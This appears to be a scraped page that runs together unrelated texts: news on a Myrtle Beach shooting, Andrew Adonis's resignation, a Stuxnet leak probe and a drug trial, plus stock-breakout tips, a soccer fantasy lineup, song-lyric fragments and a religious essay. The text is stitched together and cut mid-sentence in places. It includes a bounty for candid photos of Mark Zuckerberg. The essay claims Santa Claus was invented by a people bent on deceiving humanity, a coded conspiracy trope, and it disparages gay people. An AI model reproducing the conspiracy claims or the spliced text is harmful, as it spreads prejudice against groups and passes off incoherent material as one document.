Seven people were taken to the hospital with non-life threatening injuries. The security officer suffered a graze wound to the leg, but his injury did not require him to be taken to the hospital and he received medical attention at the scene
The security officer suffered a graze wound to the leg, but his injury did not require him to be taken to the hospital and he received medical attention at the scene.
A patrol car was hit by the gunfire, but no officers were hurt.
'Social media today puts this word out quickly,' Myrtle Beach Mayor John Rhodes said on Sunday.
'It does not look good for the city of Myrtle Beach.'
It was the third shooting in the city within eight hours, with a gunshot victim found at Coastal Grand Mall around 4:30pm Saturday and a report of shots fired at the Crown Reef Resort on Ocean Boulevard about 10 minutes later.
'We're gonna send a message to do everything that's humanly possible to stop this violence in our city,' Rhodes said.
'I'm sorry for our city that this happened.'DELAFIELD, Wis. (Stockpickr) -- Trading stocks that trigger major breakouts can lead to massive profits. Once a stock trends to a new high or takes out a prior overhead resistance point, then it's free to find new buyers and momentum players who can ultimately push the stock significantly higher. Breakout candidates are something that I tweet about on a daily basis. I frequently tweet out high-probability setups, breakout plays and stocks that are acting technically bullish. These are the stocks that often go on to make monster moves to the upside. What's great about breakout trading is that you focus on trend, price and volume. You don't have to concern yourself with anything else. The charts do all the talking. Trading breakouts is not a new game on Wall Street. This strategy has been mastered by legendary traders such as William O'Neal, Stan Weinstein and Nicolas Darvas. These pros know that once a stock starts to break out above past resistance levels and hold above those breakout prices, then it can easily trend significantly higher. With that in mind, here's a look at five stocks that are setting up to break out and possibly trade higher from current levels.
BG Medicine One health care player that's starting to spike higher within range of triggering a major breakout trade is BG Medicine (BGMD), which engages in developing and commercializing diagnostic products used to guide the patients suffering from heart failure and related disorders. This stock has been annihilated by the sellers over the last six months, with shares plunging sharply lower by 73.1%. If you take a look at the chart for BG Medicine, you'll notice that this stock recently gapped down sharply lower from over $1.50 a share to under $1 a share with heavy downside volume. Following that move, shares of BG Medicine went on to print a new 52-week low at 75 cents per share. That said, this stock ripped to the upside on Thursday and displayed relative strength in a major market decline and it did it with volume. Volume for that trading session registered over 361,000 shares, which is well above its three-month average action of 153,734 shares. That spike to the upside on Thursday is now quickly pushing shares of BG Medicine within range of triggering a major breakout trade. Traders should now look for long-biased trades in BG Medicine if it manages to break out above some key near-term overhead resistance levels at 92 cents per share and then above its gap-down-day high of 95 cents per share with high volume. Look for a sustained move or close above those levels with volume that hits near or above its three-month average action of 153,734 shares. If that breakout develops soon, then this stock will set up to re-fill some of its previous gap-down-day zone that started above $1.50 a share. Traders can look to buy BG Medicine off weakness to anticipate that breakout and simply use a stop that sits right around 80 cents per share or near its new 52-week low of 75 cents per share. One can also buy this stock off strength once it starts to clear those breakout levels with volume and then simply use a stop that sits a comfortable percentage from your entry point.
Alliance Holdings
A basic materials player that's trending within range of triggering a big breakout trade is Alliance Holdings (AHGP), which produces and markets coal primarily to utilities and industrial users in the U.S. This stock has been smacked lower by the sellers over the last six months, with shares off sharply by 29.5%. If you take a glance at the chart for Alliance Holdings, you'll notice that this stock has been uptrending a bit over the last month, with shares moving higher from its low of $33.62 to its recent high of $37.39 a share. During that uptrend, this stock has been making mostly higher lows and higher highs, which is bullish technical price action. Shares of Alliance Holdings displayed relative strength on Thursday during a major market meltdown, and that strength is now quickly pushing this stock within range of triggering a big breakout trade above some near-term overhead resistance levels. Traders should now look for long-biased trades in Alliance Holdings if it manages to break out above some key near-term overhead resistance levels at $37.39 to its 50-day moving average of $37.53 and then above more resistance at $38.02 a share with high volume. Look for a sustained move or close above those levels with volume that registers near or above its three-month average action of 105,431 shares. If that breakout takes hold soon, then this stock will set up to re-test or possibly take out its next major overhead resistance levels at $39 to $40, or even $42 to $46 a share. Traders can look to buy Alliance Holdings off weakness to anticipate that breakout and simply use a stop that sits right around some key near-term support at $35.11 a share. One could also buy this stock off strength once it starts to take out those breakout levels with volume and then simply use a stop that sits a comfortable percentage from your entry point.
Natural Resource Partners
Another basic materials player that's starting to trend within range of triggering a big breakout trade is Natural Resource Partners (NRP), which owns, manages, and leases mineral properties in the U.S. This stock has been smashed lower by the sellers over the last six months, with shares down huge by 64.5%. If you take a glance at the chart for Natural Resource Partners LP, you'll notice that this stock recently formed a double bottom chart pattern, after shares found buying interest at $2.22 to $2.21 a share. That bottom formed after this stock came out of a massive downtrend from March to June, that saw shares of Natural Resource Partners LP collapse from around $8 a share to its new 52-week low of $2.21 a share. This stock displayed relative strength on Thursday versus a downtrending market after it spiked higher right above some near-term support at $2.57 a share. That spike is now quickly pushing this stock within range of triggering a big breakout trade above some key near-term overhead resistance levels. Traders should now look for long-biased trades in Natural Resource Partners LP if it manages to break out above some key near-term overhead resistance levels at $3.02 to its 50-day moving average of $3.09 a share and then above more key resistance at $3.17 a share with high volume. Look for a sustained move or close above those levels with volume that hits near or above its three-month average action of 676,427 shares. If that breakout materializes soon, then this stock will set up to re-test or possibly take out its next major overhead resistance levels at $3.50 to $3.70, or even $3.80 to $4.03 a share. Traders can look to buy Natural Resource Partners LP off weakness to anticipate that breakout and simply use a stop that sits right below some key near-term support at $2.57 a share. One can also buy this stock off strength once it starts to bust above those breakout levels with volume and then simply use a stop that sits a comfortable percentage from your entry point.
Sally Beauty
Another specialty retailer player that's starting to spike within range of triggering a major breakout trade is Sally Beauty (SBH), which is a distributor of professional beauty supplies primarily in North America, South America, and Europe. This stock has been driven lower by the sellers over the last six months, with shares off by 20.3%. If you take a glance at the chart for Sally Beauty, you'll see that this stock recently gapped down sharply lower from around $30 a share to its new 52-week low of $25.40 a share with massive downside volume flows. Following that move, shares of Sally Beauty have now attempted to carve out a double bottom chart pattern, with shares finding buying interest at $25.40 to $25.52 a share. This stock showed relative strength on Thursday after it spiked to the upside right above those double bottom support levels, and it did with above-average volume. That move is now quickly pushing shares of Sally Beauty within range of triggering a major breakout trade. Traders should now look for long-biased trades in Sally Beauty if it manages to break out above some key near-term overhead resistance levels at $27 to $27.62 a share and then above its 20-day moving average of $27.91 a share with high volume. Look for a sustained move or close above those levels with volume that registers near or above its three-month average action of 1.57 million shares. If that breakout kicks off soon, then this stock will set up to re-fill some of that previous gap-down-day zone from earlier this month that started near $30 a share. Traders can look to buy Sally Beauty off weakness to anticipate that breakout and simply use a stop that sits right around those double bottom support levels. One can also buy this stock off strength once it starts to trend above those breakout levels with volume and then simply use a stop that sits a comfortable percentage from your entry point.The Republic of the Bay could enter a World Cup championship with a formidable roster of players who have graced Northern California fields and stadiums throughout the decades.
As an exercise in fun with World Cup 2014 in Brazil drawing nearer, we decided to create our own hypothetical starting XI. But we also invite readers to build their own lineups to share with us and others.
The criterion is simple: Anyone who has been involved with Bay Area soccer, whether born here or passing through, is eligible for consideration.
Our lineup uses a 4-4-2 formation. Send your own lineups or comments about ours to ealmond@mercurynews.com.
Goalkeepers
Pat Onstad: Played for Quakes from 2003-2005, then moved with team to Houston. Was MLS goalkeeper of year in ’03.
Backups
Mirko Stojanovic: Croatian played for NPSL’s Oakland Clippers in 1967-68 and NASL Earthquakes in 1974.
Joe Cannon: Grew up in Los Altos, attended St. Francis High-Mountain View and Santa Clara. Played for Quakes from 1999-2002 and 2008-2010.
The rationale: Onstad became one of MLS’s best keepers from 2003-2010. The Canadian international played professionally for 25 years, and his consistency made difference.
The Defenders
Marcelo Balboa: Played with San Francisco Blackhawks from 1990-91. Was a right fullback who represented the United States in three World Cups.
Gabbo Gavric: Member of the original Earthquakes of NASL, was a left back with OFK Beograd of former Yugoslavia.
Clarence Goodson: Current Earthquakes star at center back made 2010 U.S. World Cup team and helped America qualify for World Cup in Brazil.
Alexi Lalas: Former controversial — perhaps despised is a better way of putting it — Earthquakes general manager in 2004-05 before the team split for Houston. Center back was one of the stars of the 1994 U.S. World Cup team.
Backups
Brandi Chastain: One of world’s most recognized female players, San Jose native scored winning PK as fullback in 1999 women’s World Cup.
Steven Beitashour: San Jose native attended Leland High and was Quakes’ ball boy before starring for team from 2011-13. Member of Iran’s World Cup team plays for Vancouver Whitecaps.
John Doyle: Current Quakes general manager was born in San Jose, attended Washington High-Fremont, USF and competed in 1988 Olympics and 1990 World Cup.
Troy Dayak: Walnut Creek native attended Livermore High and USF, then played with San Francisco Blackhawks, San Jose Hawks, San Jose Grizzlies, San Francisco Bay Seals, Clash and Earthquakes.
The rationale: Balboa and Garvic were easy choices as fullbacks, but Dayak and Doyle are legendary central defenders to Quakes fans. Goodson, though, has had huge impact on back line since joining team in August. Lalas was one of America’s top players in early 1990s.
The Midfielders
Landon Donovan, left wing: Three-time World Cup player is face of American soccer and MLS’s all-time leading scorer who played for Quakes in 2001-2004.
George Best, right wing: Played in San Jose from 1980-82. Former Manchester United star was one of soccer’s first celebrities.
Dwayne De Rosario, central mid: Scored 27 goals in 108 appearances for Earthquakes from 2001-05. Canada’s all-time leading scorer is in 14th MLS season.
Ricky Davis, central mid: Former Santa Clara University star was captain of U.S. team throughout 1980s. Played for New York Cosmos and was considered best American-born player in NASL. Member of National Soccer Hall of Fame.
The Backups
Ronnie Ekelund, central mid: Danish star played for Quakes from 2001-2004. Known for good ball control.
Jimmy Johnstone, right wing: Played for NASL Quakes in 1974 but best known for time with Celtic of Scotland. Helped Celtic win European Cup in 1967.
Francisco Lima, holding mid: Brazilian played only 14 games for Quakes from 2008-09 but showed what calming influence he had with ball after long career that included stops in Moscow, Rome and Zurich.
Preki, right wing: Serbian star played for San Jose Grizzlies from 1994-95, scoring 67 goals in 32 games. Former Kansas City Wizard also could play forward.
The rationale: Jurgen Klinsmann might see Donovan as a striker, but we like him on left flank where he can score and make everyone around him better. With Best on right, who can stop them? De Rosario would have to jell with Davis in center to provide linkage and defense.
The Forwards
Chris Wondolowski: Has been Quakes’ leading scorer since 2010 and tied MLS single-season record with 27 goals in 2012. Danville native is member of U.S. World Cup team.
Eric Wynalda: Played for Bay Blackhawks from 1990-92 and San Jose Clash from 1996-99. Had 34 goals in 107 appearances for U.S., competing in three World Cups.
The Backups
Paul Child: Englishman played for Quakes from 1974-79, scoring 61 goals in 149 games. Member of National Soccer Hall of Fame, Earthquakes hall of fame and San Jose Sports Hall of Fame.
The rationale: Keeping Child on bench speaks more for excellence of Wondolowski and Wynalda, a winning combination if there ever was one.
The Coach
Dominic Kinnear: Attended Kennedy High-Fremont and played for Bay Blackhawks, San Jose Hawks and Clash as defender. Earthquakes assistant 2001-03, coach from 2004-05 and still coaches Houston, the team that left San Jose over stadium issues. Led Quakes to Supporters’ Shield in ’05 and Houston to consecutive MLS Cups in 2006-07.
Assistants
Frank Yallop: Twice coach of Quakes, leading team to MLS Cup titles in 2001 and ’03. Returned in 2008 when Quakes re-entered MLS as expansion team. Now with Chicago Fire.
Laurie Calloway: English defender played for Quakes in 1970s, then coached WSL Quakes, Bay Blackhawks and was Clash’s first coach from 1996-97.
The rationale: Kinnear has proved over time to build quality teams capable of deep playoff runs. It gives him edge over his assistants who are a soccer brain trust.British Prime Minister Theresa May departs 10 Downing Street in London December 20, 2017 | Leon Neal/Getty Images Andrew Adonis quits, attacks May ‘the voice of UKIP’ The Labour peer described Brexit as ‘a dangerous populist and nationalist spasm worthy of Donald Trump.’
LONDON — A Labour peer resigned Friday from his role advising the U.K. government on infrastructure policy criticizing Theresa May's approach to Brexit.
Andrew Adonis, a transport secretary in the last Labour government, accused the U.K. prime minister of becoming the "voice of [the U.K. Independence Party]” in her Brexit policy, according to the Daily Telegraph, which obtained a copy of his resignation letter.
Adonis later tweeted an endorsement of a different version of the letter from Sky News Political Editor Faisal Islam. It said: “The European Union withdrawal bill is the worst legislation of my lifetime.”
“Brexit is a populist and nationalist spasm worthy of Donald Trump,” the letter went on.
“After the narrow referendum vote, a form of associate membership of the EU might have been attempted without rupturing Britain’s key trading and political alliances. Instead by allying with UKIP and the Tory hard right to wrench Britain out of the key economic and political institutions of modern Europe, you are pursuing a course fraught with danger.”
He warned the prime minister he would "relentlessly" oppose the European Union (Withdrawal) Bill in the House of Lords.
The legislation to translate EU law into U.K. law will be considered by the House of Lords, where Adonis sits as a Labour peer, early next year.
Adonis, who was appointed chair of the National Infrastructure Commission in October 2015, travelled to Brussels in November with former Deputy Prime Minister Nick Clegg and Conservative pro-European Union MP Kenneth Clarke to meet Michel Barnier, the EU’s chief Brexit negotiator.
Afterwards, he tweeted: "Clear from discussions in Brussels on Monday that U.K. can stop process of leaving EU whenever it likes before end March 2019. We should do so."
A U.K. government official said: "He’s been moving closer to the exit door with each new onslaught he makes against Brexit. He’s now walked through the door before he was pushed."
This article has been updated with details of the resignation letter as tweeted by Andrew Adonis.For someone who doesn't believe in privacy, Mark Zuckerberg is awfully guarded. He has made Facebook public by default, and yet his own public posts are few, far-between, and tend towards the anodyne. Facebook's share-everything CEO even went so far as to keep his recent wedding a secret from his own friends, presumably to avoid public scrutiny. For all his bluster about public sharing, Zuckerberg reveals very little of himself. That needs to change.
Zuckerberg Just Got Married Mark "IPO" Zuckerberg just dropped a Facebook status update bigger than the NASDAQ bomb:… Read more Read
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Facebook's entire business model relies on you sharing information about yourself and others so it can monetize your private moments—converting your Likes, your friendships, your thoughts and messages into ad campaigns. Zuckerberg is claiming ownership of your privacy, one Like at a time. So it only seems fair that we (as Richard Dreyfuss suggested) own something of his as well. And we're willing to pay for it. Welcome to the Summer of Zuck.
Two years ago, Mark Zuckerberg told startup publicist Mike Arrington that "people have really gotten comfortable not only sharing more information and different kinds, but more openly and with more people. That social norm is just something that has evolved over time."
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Facebook has evolved over time too. No longer privately held, it is itself a public company, with a public CEO. We think it's time he evolves along with his company. In short, it's time for Mark to go public too.
Here's the deal: We're going to pay for photos and videos of Mark Zuckerberg taken between now and Labor Day. Snap a photo or shoot some video of Mark. At a bar, after a conference, on the street. Totally great. We want pictures of him that he isn't expecting to have made. If we run it, we'll send you a cool $20. $100 if you catch some PDA with Priscilla.
Zuckerberg Just Got Married Mark "IPO" Zuckerberg just dropped a Facebook status update bigger than the NASDAQ bomb:… Read more Read
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There are some rules:
1. Photos and videos must be new. We don't care what happened when Facebook was a privately held company.
2. Photos must have EXIF data intact - we want to be able to verify when and where it was taken.
3. The subject of the photo must obviously be Mark Zuckerberg. If we have to argue over whether or not it's him, sorry, but that won't cut it.
4. Photos taken at conferences or other settings where he has previously announced his attendance don't count.
5. You must own or have been given the rights to the photos that you send to us.
6. You must not invade someone's privacy or break any laws to obtain the photos (i.e. don't use a telephoto lens in the bushes or from trees or trespass on someone's property).
7. Email your photos to zuck@gizmodo.com
If your picture meets the above criteria, and we run it in our Summer of Zuck series, we'll cut you a check. You can enter as many times as you like, and of course Facebook employees are eligible. Anonymity is important to us if it's important to you: we'll go to spycraft-level lengths to prevent anything being traced back to you.
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We encourage photographers to pursue the perfect shot through all legal and honorable means; please no urban ninja tactics and remember the laws of the land still apply. We ask that you to stay within the bounds of the law and note that our standard contest rules apply. We reserve the right to limit, or restrict upon notice, participation in the Contest to any person at any time for any reason. Void where prohibited.
So come on. It's the Summer of Zuck. Let's see what you've got.Genes have the ability to recognise similarities in each other from a distance, without any proteins or other biological molecules aiding the process, according to new research. This discovery could explain how similar genes find each other and group together in order to perform key processes involved in the evolution of species.
This new study shows that genes — which are parts of double-stranded DNA with a double-helix structure containing a pattern of chemical bases – can recognise other genes with a similar pattern of chemical bases.
This ability to seek each other out could be the key to how genes identify one another and align with each other in order to begin the process of ‘homologous recombination’ — whereby two double-helix DNA molecules come together, break open, swap a section of genetic information, and then close themselves up again.
Recombination is an important process which plays a key role in evolution and natural selection, and is also central to the body’s ability to repair damaged DNA. Before now, scientists have not known |
'd have lived 'til today. I can tell you myself, he'd be like.... I don't like....
(For the Portuguese Goth Metal Bands) Star-crossed lovers and their tragic fates and that one.... record, almost everybody hates
(Harlem Roulette)....'s tracking Seabreeze in a studio in Harlem. It's 1968
(Abandoned Flesh) The two main guys are related, they're at war with each other. Now there's two...., one for each brother
(Cubs in Five) And Bill Gates will single-handedly spearhead the.... revival
(The Last Day of [Name]'s Life) On the last afternoon of his life,.... went to the kitchen and he got himself a glass of water
(The Best Ever Death Metal Band in Denton) Never settled on a name but the top 3 contenders, which were later ripped off, were Satan's Fingers, and...., and the Hospital Bombers
(Love Love Love ) And way out in Seattle, young.... snuck out to the greenhouse, put a bullet in his brain
(Scotch Grove).... on the car stereo sang that song you know I hate, the one about the blackbird.
(Horseradish Road) The.... records on the stereo all the time. You're gonna get yours and I'm gonna get mine
(Anti-Music Song) And I saw you on TV, doing a bad imitation of a second-rate songwriter from the eighties named.... I never liked.... and I don't like you
(Rage of [Name]) Eyes wild with fear, I don't belong here. Nobody wants to hear the twelve bar blues, from a guy in platform shoes
(Abandoned Flesh).... is secure at his villa in France, any child knows how to do the spiderweb dance
([Name] Van) Two sad young men one February, digging through a wreck. Cleaning out the tour van, check and double check.
(Abandoned Flesh) Siouxsie has enough hits to keep the bills paid, every New Year's in Los Angeles you can still see...
(Stench of the Unburied) And outside it's ninety-two degrees, and KROQ is playing....
(Shelved) Not gonna tour with...., third of three, bottom of the bill. You can't pay me to make that kind of music, not gonna swallow that pillA former high-ranking U.S. military official is reportedly under investigation for leaking classified information related to the use of malicious software to disrupt Iran's uranium refinement program.
Retired Marine Gen. James Cartwright, who was vice chairman of the Joint Chiefs of Staff for four years through 2011, has been notified by letter by the U.S. Department of Justice (DOJ) of the investigation, reported NBC News, citing anonymous legal sources. DOJ officials could not immediately be reached.
The Washington Post, citing a senior official in the administration of President Barack Obama, A also reported that Cartwright was under investigation.
In 2010, The New York Times detailed the operation that created Stuxnet, a malicious software program that successfully disrupted Iran's nuclear program by interfering with industrial control software used in centrifuges. In June 2012, the newspaper wrote that Cartwright was a key player in persuading former President George Bush to consider cyberattacks as a way to counter Iran's nuclear program.
Obama's administration has sought to criminally charge those who reveal classified information. NBC News' report comes as the U.S. is pressing Russia to turn over Edward Snowden, a former NSA analyst who released classified documents related to the U.S. government's extensive electronic surveillance efforts.
Stuxnet was a worm that could spread via USB devices inserted into computers. It meddled with a Siemens program called WinCC, which is used to manage processes in factories and energy utilities. Iran used it to control uranium centrifuges.
The exposure of the Stuxnet program put the U.S. in an uncomfortable position of being labeled an aggressor with its cyber operations.
Send news tips and comments to jeremy_kirk@idg.com. Follow me on Twitter: @jeremy_kirkBoat called Mega Profit II allegedly used to smuggle ice worth $182m into WA
Updated
A Chinese and Malaysian syndicate used a boat called the Mega Profit II to drop off 182 kilograms of the drug ice on a remote West Australian beach, a Perth court has been told.
Thirteen Malaysian and Chinese men are now on trial in the West Australian Supreme Court accused of importing the drug with an estimated street value of up to $182 million.
Prosecutor Richard Maidment told the court the importation was financed and coordinated in China and Malaysia, and the drugs were dropped off on a stretch of beach 30 kilometres south of Port Denison in the Mid West in May 2016.
Mr Maidment said eight of the accused men were crew members on what he called "the mothership" Mega Profit II, which was a Chinese trawler he said may have been named by "someone with a sense of humour or intent".
The other five accused men were part of what he called "the shore party" who had come to Australia "to ensure the drugs were safely landed, housed and packaged for distribution into Australia's black market".
The court heard the boat had been under surveillance by Australian authorities in the days before the drugs were dropped off.
Mr Maidment said the drugs had been packed into 15 black bags, brought to the beach by the Mega Profit II's tender boat and collected by some of the "shore party", before being driven to Perth.
He told the court how during the journey it was discovered one of the bags had been left behind, and so they went back to the beach "at great speed" to retrieve it.
Mr Maidment said the drugs were taken to "safe houses" at various suburbs in the metropolitan area.
Those properties were subsequently raided by police later in May, and the drugs — with a purity of between 79 and 80 per cent — were recovered.
The court heard the Mega Profit II and its crew were intercepted off the coast of Geraldton not long after the drugs had been dropped off.
All 13 men, who are following proceedings with the assistance of interpreters, pleaded not guilty to charges of importing drugs.
Their trial is expected to run for 10 weeks.
Topics: law-crime-and-justice, drug-offences, geraldton-6530
First postedWhy are so many people who were raised as Christians, turning away from belief in The Supreme Being or becoming hypocritical in their religious beliefs?
Lately, it seems like there has been an explosion of Atheism (especially on the Internet) in Europe and the United States of America (USA).
Most of these Atheists are behaving like religious or political zealots.
They are vigorously trying to convince the world that all religions are bad.
Many of them are not just satisfied with their own rejection of religious beliefs; they want the whole world to reject religion as well.
I believe, that the cause of this sudden rise in Atheism among so many people in Europe and the United States of America; is because of the fantasy, stories, told to them, when they were children.
The majority of Atheists in the USA and in Europe today; believed in Santa Claus and the Easter Bunny, when they were children.
They were especially affected by the story of Santa Claus.
The 25th of December is supposed to be the day of birth for Jesus Christ; but Santa Claus is more important to the majority of Christian children, rather than Jesus.
As children we were told about a jolly fat man called Santa Claus.
The first images that were drawn of him in the 19th century in the USA, showed a large, round looking Caucasian man with long white hair and a thick white beard.
He wore a bright red suit with a broad black belt, and black boots.
This Santa Claus did not live among other Human Beings.
He lived in the highest place on earth.
He lived way up there, in the North Pole.
He had helpers called Elves, who made toys during the year.
Santa Claus was an all-seeing entity.
He could see everything that every child, all around the world were doing.
And he watched them all throughout the year.
Children were warned that if they wanted to receive gifts and toys on the 25th of December; then they should be good little children.
Because Santa knew if they were being good or bad.
So they had better be good for goodness sake 🙂
Santa’s helpers, the elves were writing down, everything that the children did everyday.
And if children did more bad than good; they would not receive any gifts on Christmas.
And if they were good then; they would receive toys and other gifts.
At the same time when children were being told about Santa Claus; they were also being told about another mysterious entity.
They were told about God.
They were told that God lived in Heaven.
And Heaven was, way up there, in the sky.
They were told that God was All-Seeing; and HE knew everything that everyone was doing.
He also had helpers like Santa; but HIS helpers were called Angels.
When I was a child; it was not unusual to see in many publications drawings of this god who lived in the sky.
These drawings of god looked exactly like the pictures of Santa.
He was an elderly Caucasian man with a long white beard.
These imaged looked exactly the same as the images of
god, drawn by Michelangelo in the Sistine Chapel.
An old Caucasian man with long white hair and a thick
white beard.
This god who lived in the sky, knew everything that everyone on Earth was doing.
HE was All-Seeing and All-Knowing.
He knew if children were good or bad.
If you did good things you would be rewarded by Him after you died by going to Heaven.
If you did bad things you would get punished by being sent to a very bad place, called Hell.
This Hell was supposed to be under the ground.
Hell was ruled by another mysterious entity called the Devil or Santa er.. I mean Satan.
This Devil or Satan was once an Angel of God.
He also was living up in the sky.
But he decided to disobey God; so he was cast out from Heaven and sent down to live beneath the Earth.
He was to stay forever underneath the Earth.
And all the bad people would be sent to live with the Devil in Hell, when they died.
Hell was underground; whereas Heaven was way up there in the sky.
But God loved the people of the world very much.
HE didn’t want them to go to Hell.
So he sent his only begotten son Jesus, to Earth.
This son of god, Jesus was sent to Earth in order for him to save the world.
Those who believed he was the son of god and followed him were to be saved.
But most of the people rejected Jesus; and then they killed him.
His death was to be the salvation for all those who believed in him.
This son of god, was born on the 25 December.
This 25 of December, was the very same day that Santa delivered his gifts.
So there was always a very close link between Santa Claus, and Christianity in the minds of Christian children.
Children were also taught about Easter Eggs and the Easter Bunny.
The Easter Eggs festivities is done during the same time period, when this son of the white bearded Caucasian god was killed.
Here again is another close link between the stories taught in Christianity; and a fantasy tale about rabbits and Easter eggs.
In addition, children were told about the Tooth Fairy, who gave them a coin for placing their old tooth under their pillow at night.
BETRAYED TRUST
Children trust their parents and all adults.
They sincerely believe everything that their parents and adults tell them.
What these parents and other adults, who have been telling these little lies to the children don’t realise is that:
NOT ALL parents have been telling these lies to their children.
And one day the children who believe in Santa Claus and the Tooth Fairy and Easter bunnies etc., will meet these other children.
These other children who were not raised to believe in these fantasies stories, will laugh at and ridicules the children who sincerely believe in Santa Claus, the Easter Bunny and the Tooth Fairy.
When they finally realise that there is no such thing as Santa or the Tooth Fairy or the Easter Bunny, they will feel very embarrassed and foolish.
In time they will feel very foolish for ever believing these stories.
They will wonder why their parents and other adults had lied to them.
Many of them will begin to question and doubt everything that their parents ever told them.
In time they will also begin to have serious doubts, about what they were told about that god, who lives in the sky.
They will wonder if those stories about Heaven, Hell, Angels, and Satan are really real; or is it the same lie as the Santa Claus, and Easter Bunny stories.
These lies about Santa Claus, Easter Bunnies and Easter eggs all closely related to very important dates in the Christian calendar.
THE HARM OF THESE FANTASY STORIES
Christmas and Easter are very significant in Christian belief.
But along with these significant Christian traditional holidays; are also these fantasy stories about Easter eggs, Easter Bunnies and Santa Claus.
These fantasy stories of Santa Claus and Easter eggs has caused harm, to the spiritual development of young Christians.
If you think these fantasy stories were innocently created; then you don’t understand the enemies of Humanity.
It is no accident that the word Santa can be easily changed to Satan.
I prefer to refer to this satanic creation as, Satan Claws instead of Santa Claus.
The whole story of Santa Claus and his elves was concocted by people who were very knowledgeable about religion.
Many centuries before, these same people’s ancestors had become disobedient to G-D’s Commands and started to use their knowledge to trick and deceive Humanity.
This Santa Claus story was intended to cause problems among Gentiles who were Christians.
The Santa story’s main purpose was to undermine Christianity.
AS SANTA BECAME MORE POPULAR, MANY CHRISTIANS BECAME HYPOCRITES
Every since this Satan story er….. I mean Santa story, gained popularity it has cause havoc among the Christian community.
This fable about Santa Claus really gained popularity among Christians in the past 150 years or so.
In the past century, when these Christian children who had believed in Santa became adults, many stopped having a sincere belief and trust in the Creator.
But, they, kept their religion doubts to themselves.
Despite their doubts, many of them continued to tell the same stories about Santa, and the god in the sky, to their own children.
They said to themselves, “I was told the same story when I was a child and I turned out okay.”
“It is nothing but harmless fun for kids to believe in Santa.”
But in fact, these fantasy stories are not harmless nor okay.
It is not harmless fun.
These fantasy tales have turned many Christian adults into religious hypocrites.
They still go to their Churches and outwardly follow their religious traditions.
They still participated in religious activities.
They still professed belief in The Creator and Christianity.
But their obedience to the moral and spiritual commands of Christianity, have been considerably weakened.
They have accepted many things in their lives, that are in direct contradiction to the Commands of The Creator.
Their respect for the moral teachings of their religion have been weakened.
That is why many of them can still support Donald Trump, and still claim to be good Christians; after his disgusting remarks were revealed recently; in a video tape.
Many of these religious hypocrites tell lies, commit fornication, adultery, harbour racial hatred for other races, secretly have abortions, have same-sex relationships, and do other evil things; without any thought of the consequences.
They really don’t believe in the Day of Judgement.
They pay lip service to religious beliefs, while secretly behaving like non religious people.
They discriminate against others, cheat on their spouses, steal, lie, abused drugs and alcohol, commit homosexual acts etc.
Eventually some of them got tired of their hypocrisy and openly began to admit,that they no longer believed in God.
All this is happening, because parents think it is harmless to tell their children that the Santa Claus story is true.
Telling lies to young, impressionable children, has serious consequences.
STOP LYING TO YOUR CHILDREN
As I said before, telling children lies about Santa Claus, may seem like an innocent and harmless thing, but it is not.
A LIE, IS A LIE, IS A LIE.
No matter how you may try to make it look appealing, it is still a lie.
The majority of argument used by Atheists against religious beliefs is nothing more than an argument against what they were taught as children in Christianity.
They try to lump all religions into with what they were taught when they were young.
They erroneously assume that the teachings of Judaism and Al-Islam are the same as what they were taught about The Creator in Christianity.
They normally say things like religion is a ‘fairy tale,’ and god is the ‘magic man in the sky.’
All related to the fantasy tales they were taught about Christianity during their childhood.
Their arguments against religion seems to be anger at the fantasies that they once believed in as children.
The majority of them never studied the intelligent teachings of christianity.
Many of them were just ‘Jesus Christ’ Christians.
Everything in Christianity to them was all about Jesus Christ.
Or I should say, those fake images and pictures of a Caucasian Jesus of Nazareth that was first painted many centuries ago in Europe.
To the majority of them; Christianity was, “accept Jesus Christ as your lord and saviour or go to hell.”
They had a fixation on the image of a Caucasian Jesus.
Many of them are the ones who see images of a Caucasian Jesus on water marks on billboards, in the dirt on windows, the topping of pizzas, cloud formations, stains on walls, etc. etc.
Once these unlearned, Christians gained some knowledge and became more enlightened on the scientific principles of the world; they felt ashamed that they ever believed in those things.
Now they have become fervent Atheists.
They claim that Life after Death doesn’t exist because it cannot be proven.
No one who dies can come back and tell us that there is Life after Death.
We who believe; knows it exist because of what has been Revealed to us by our Creator.
In the Revelations that came to Moses, Jesus, Muhammed and all the Prophets; *G-D tells humanity that there is Life after our earthly death.
These Revelations tells Mankind things that we would never have discovered by our own human intelligence.
Before these Revelation came, Mankind worshiped the creation as their gods.
They instinctively knew that they were not responsible for all the goodness that surrounded them.
The water to quench their thirst, the plants and fruits and animals that they ate to nourish their bodies.
HUMAN BEINGS WERE CREATED TO BE THANKFUL
Humans had been created with a desire to show gratitude.
We have a need to be thankful for what we have.
So our primitive ancestors, knowing nothing about The One Creator; worshiped the Sun, the Moon, the stars, the lightning, the thunder, the mountains or other Human Beings as gods.
They knew nothing about The True Author of all creation.
It was only when The Creator Himself, revealed knowledge to one of HIS creation (Adam) about HIS existence; is when Mankind became aware of HIM.
Revelation from The One True Creator is how Mankind first became acquainted with HIM.
HE Revealed that Human Beings and everything else in creation was created by HIM, The Master-Creator.
We belong to HIM.
We are HIS property.
HE has placed something in every Human Being that causes us to respond to HIS Truth whenever we hear it.
It is called our soul.
And our souls always recognize our Master’s Words.
This is why those of us who believe in the Hereafter knows for certain that it does exist.
Our life in this world is meaningless without a Final Day of Accountability.
A Judgment Day to settle our accounts.
A Day when we will received punishment or rewards for our behaviour in this Life.
There has to be a consequence for humans who commit all types of evil against their fellow human beings.
G-D has Revealed that everything we do; small or big is being recorded by Angels.
Every Human Being has at least two Angels with us at all times.
One records all the good things we do.
The other records all the bad things we do.
There is nothing that we do, that is not being recorded.
On the Day of Judgment we pray that our good deeds outweigh our bad deeds.
Here are a few verses from the final Revelation given to Humanity from our Guardian-Lord Creator of the Heavens and Earth.
With the Name of The One True G-D, The
Merciful Benefactor, The Merciful Redeemer
Woe to man! What has made him stubbornly reject The One G-D.
(Does man ever consider) out of what material (G-D) created him?
From a sperm-drop: HE has created him, and then shapes him in due proportions;
Then does HE make his path (in life) smooth for him;
Then HE causes him to die, and puts him in his grave;
Then, when it is HIS Will, HE will raise him up (again).
By no means has he fulfilled what G-D has commanded him.
Then let man then consider (the sources of) his food, (and how **WE provide it):
For that WE pour forth water in abundance,
And WE open the Earth in fragments,
And produce therein corn,
And Grapes and nutritious plants,
And Olives and Dates,
And enclosed Gardens, thick with lofty trees,
And fruits and herbage,-
For use and convenience to you and your cattle.
At length, when there comes the Deafening
Noise (of Resurrection),-
That Day (of Judgment) a man shall run from his own brother,
And from his mother and his father,
And from his wife and his children.
Each one of them, that Day, will have enough concern (of his own) to make him indifferent to the others.
